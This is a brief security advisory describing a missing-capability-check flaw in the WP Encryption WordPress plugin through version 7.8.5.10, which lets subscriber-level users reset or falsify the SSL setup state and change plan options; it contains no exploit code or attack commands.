Description

The WP Encryption – One Click Free SSL Certificate & SSL / HTTPS Redirect, Security & SSL Scan plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the 'wple_basic_get_requests' function in all versions up to, and including, 7.8.5.10. This makes it possible for authenticated attackers, with subscriber level access and above, to reset the SSL setup state, force SSL to appear complete, and modify plan selection options.
